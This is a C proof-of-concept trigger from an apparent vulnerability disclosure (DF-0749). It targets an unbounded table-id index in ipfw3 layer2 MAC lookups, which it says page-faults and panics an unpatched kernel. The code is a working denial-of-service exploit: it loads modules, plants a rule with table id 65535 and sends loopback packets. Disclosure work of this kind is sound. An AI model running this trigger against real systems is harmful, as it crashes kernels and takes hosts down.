DF-0749 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* * DF-0749 โ trigger / demonstrator * ------------------------------------------------------------------ * Unbounded table-id index in MAC-table lookup matchers * sys/net/ipfw3_layer2/ip_fw3_layer2.c:118-120 (check_mac_from_lookup) * sys/net/ipfw3_layer2/ip_fw3_layer2.c:161-163 (check_mac_to_lookup) * * `cmd->arg1` (uint16_t, user-controlled via "mac-from table N" / * "mac-to table N" parser, lib/libipfw3/layer2/ipfw3_layer2.c:153,177) * is added to ctx->table_ctx (a 32-entry array, IPFW_TABLES_MAX, * sys/net/ipfw3_basic/ip_fw3_table.h:39, allocated at * sys/net/ipfw3_basic/ip_fw3_table.c:570) with NO bounds check. * * The OOB load `rnh = table_ctx->node;` happens UNCONDITIONALLY, * BEFORE the `args->eh != NULL` gate at line 124/167. So any packet * matching a rule that uses an out-of-range table-id drives a kernel * load from far past the array โ a supervisor-read page fault when the * OOB offset (arg1 * 56 bytes) lands past mapped memory. * * This trigger is a thin C wrapper around the setup shell commands; the * real proof is the kernel panic signature captured in panic.txt * (Fatal trap 12 ... Stopped at check_mac_from_lookup+0x37: movq (%rax),%rbx). * * Reachability / impact: ipfw3 module load + rule add both require * PRIV_ROOT (kldload + IP_FW_X setsockopt), so this is a root->kernel * DoS / latent OOB read. No unprivileged escalation path exists; * see VERDICT.md for the bright-line analysis. * * Build: cc -o trigger trigger.c * Run: ./trigger (will panic an unpatched kernel) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> /* arg1 value to plant in the rule. uint16_t max = 65535. * table_ctx is 56-byte struct; offset = 65535*56 = 3,669,960 bytes โ 3.5MB * past the array allocation โ guaranteed past any slab. */ #define OOB_TABLE_ID 65535 static void run(const char *cmd) { int rc = system(cmd); fprintf(stderr, " $ %s\n rc=%d\n", cmd, rc); } int main(int argc, char **argv) { unsigned long id = OOB_TABLE_ID; char cmd[512]; if (argc > 1) id = strtoul(argv[1], NULL, 0); fprintf(stderr, "DF-0749 trigger: planting ipfw3 rule with " "mac-from table %lu (IPFW_TABLES_MAX=32)\n", id); /* Bring ipfw3 up safely: default-accept so the box stays reachable * long enough for the rule add to round-trip. */ run("sysctl net.filters_default_to_accept=1"); run("kldload ipfw3"); run("kldload ipfw3_basic"); run("kldload ipfw3_layer2"); run("ipfw3 flush"); /* The bad rule. As soon as ANY packet traverses it, the kernel * page-faults inside check_mac_from_lookup at the OOB load. */ snprintf(cmd, sizeof(cmd), "ipfw3 add 1000 allow ip from any to any " "mac-from table %lu", id); run(cmd); /* Provoke a packet through the rule (loopback is enough; the OOB * load fires before the eh==NULL gate, so even lo0 triggers it). */ fprintf(stderr, "\n[+] sending trigger packet (loopback)...\n"); int s = socket(AF_INET, SOCK_DGRAM, 0); if (s >= 0) { struct sockaddr_in dst; memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sendto(s, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst)); close(s); } /* If we get here at all on an unpatched kernel, the rule didn't * catch the packet yet โ keep poking until it does. */ for (int i = 0; i < 20; i++) { s = socket(AF_INET, SOCK_DGRAM, 0); if (s >= 0) { struct sockaddr_in dst; memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sendto(s, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst)); close(s); } usleep(100000); } fprintf(stderr, "[!] still alive โ bug may not have triggered; " "check boot.log for panic signature\n"); return 1; } |